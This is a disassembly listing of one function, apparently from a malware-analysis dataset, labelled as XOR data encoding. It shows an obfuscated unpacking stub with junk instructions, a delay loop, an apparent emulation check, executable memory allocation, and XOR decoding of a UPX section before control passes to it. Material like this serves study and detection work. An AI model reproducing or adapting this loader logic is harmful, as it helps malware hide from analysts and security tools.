Function at 0xa789ac
Capabilities:
Encode data using xor

Disassembly:
pushal
mov esi, 0xe922489a
mov esi, 0xec21bec6
add eax, eax
popal
mov eax, esi
add esi, 0x142bdc95
mov edx, 0
mov esi, ebx
and eax, ecx
add eax, 0x8b51ce2e
inc eax
mov edi, esi
mov ecx, 0xb329d20c
mov eax, ecx
mov ebx, edi
sub ecx, 0x7f5dee9e
add ecx, eax
sub ecx, eax
inc edx
mov eax, ecx
sub ecx, 1
cmp edx, 0x1004985
jne 0xa789c7
or ecx, eax
mov eax, ecx
not eax
sub eax, esi
sub esi, eax
mov eax, 0xa78796
or ebx, edi
inc ebx
mov esi, 0xa7898a
not edi
sub edx, 0xaf91c97d
and ebx, edx
mov ecx, dword [eax]
mov edi, ebx
mov edx, edi
and ecx, 0xff
mov ebx, 0xdd8d3e0c
inc edi
and ebx, edx
xor dword [esi], ecx
sub ebx, 1
add ebx, edx
sub ebx, edx
add esi, 1
mov ebx, 0x8c3400ef
mov edx, 0xd899b9c4
not edi
inc eax
not edi
and edi, edx
cmp esi, entry0
jl 0xa78a1d
not edi
dec ebx
add edx, 0x2b617663
add ebx, 0x75da06c4
add edi, 0xd10eedb8
add edx, esi
mov esi, ecx
mov ebx, 0xa7898e
sub ecx, edx
mov esi, ecx
mov ebx, dword [ebx]
dec esi
inc edx
mov ebx, dword [ebx]
and ecx, edx
inc ecx
mov esi, 0x16a9686b
push ebx
mov ecx, edx
sub ecx, 1
not edi
mov ebx, 0xa7898a
or esi, edi
inc esi
mov ebx, dword [ebx]
mov edi, ecx
sub esi, ecx
sub edx, edi
mov ebx, dword [ebx]
and edx, edx
or ecx, ecx
mov edx, 0xa5373647
push 0xa78992
mov esi, edi
mov esi, 0xeab1ed45
call ebx
inc ecx
inc ecx
mov ebx, dword [esp]
add esp, 4
add esi, 1
add ecx, edi
and edx, edi
push 0xa7899f
or edx, ecx
add edi, 1
or esi, ecx
push eax
add ecx, 1
sub esi, 0x8b582a5b
call ebx
or edx, edi
not edx
push 0x40
mov edx, 0x951fef99
add esi, 0x4de3ce2d
push 0x3000
sub edx, 0x81bdc217
add esi, 0xfcf397f5
add esi, ecx
push 0x20000a41
or ecx, edx
sub esi, edx
and esi, edi
push 0
not esi
mov ecx, edi
call eax
inc ecx
inc edi
add esi, esi
add eax, 0x2000097c
mov edx, esi
not esi
mov ebx, 0xe0078766
mov esi, ecx
sub edi, 1
add edx, 0xa7135bf7
mov dword [eax], ebx
add esi, 0xe5d45db4
inc edx
mov ebx, dword [eax]
mov ecx, esi
or edx, esi
sub edx, 0x878fe53
cmp ebx, 0xe0078766
je 0xa78b76
mov eax, 0
mov ecx, dword [eax]
inc edi
sub edx, 0xcce4579a
sub edx, 0x8e7265fb
mov ecx, esi
add ecx, 1
add esi, 0xc7169318
sub eax, 0x7f1cab65
not esi
mov edx, section.UPX1
add eax, 0xd2d10f45
and eax, eax
mov ecx, 0xa78795
dec esi
add eax, 0x72d5521f
mov ebx, 0
mov eax, 0xa80f208d
add eax, 0x199ef0a7
mov edi, 0xa78796
and esi, esi
sub esi, eax
or eax, esi
lea edi, [ebx + edi]
or esi, esi
and esi, esi
mov edi, dword [edi]
inc esi
sub esi, 0x1b4e06d1
add esi, 1
and edi, 0xff
sub esi, eax
mov eax, 0x16191bbe
inc ebx
sub eax, 0x24dd5232
sub esi, eax
cmp ebx, 0x1f4
jne 0xa78c06
mov ebx, 0
and esi, esi
add eax, 0xd4d730bb
inc esi
and esi, esi
mov eax, esi
xor dword [edx], edi
add esi, esi
dec eax
sub esi, eax
add edx, 2
mov esi, eax
add esi, 1
and eax, eax
cmp edx, ecx
jl 0xa78bc2
and esi, eax
inc esi
sub eax, esi
add esi, 0x5ded2b2a
sub esi, eax
mov eax, section.UPX1
inc edx
mov ebx, 0x3dfd86e8
add ebx, 0x8e7817b0
mov esi, section.UPX1
not edx
not edx
mov edi, 0xa78795
and edx, edx
not ebx
mov ecx, 0
mov edx, 0xc409988
add ebx, ebx
mov cl, byte [esi]
or edx, edx
sub ebx, 1
sub edx, 0x8102aaf2
mov byte [eax], cl
inc edx
mov edx, ebx
inc eax
and ebx, ebx
mov edx, ebx
add esi, 2
mov ebx, 0x49b20bea
or ebx, ebx
sub ebx, edx
cmp esi, edi
jle 0xa78c6e
mov edx, ebx
add edx, 1
not ebx
add esi, 1
mov esi, 0xb8e8e275
push 0x8dc6a0
or eax, eax
and eax, esi
or esi, eax
ret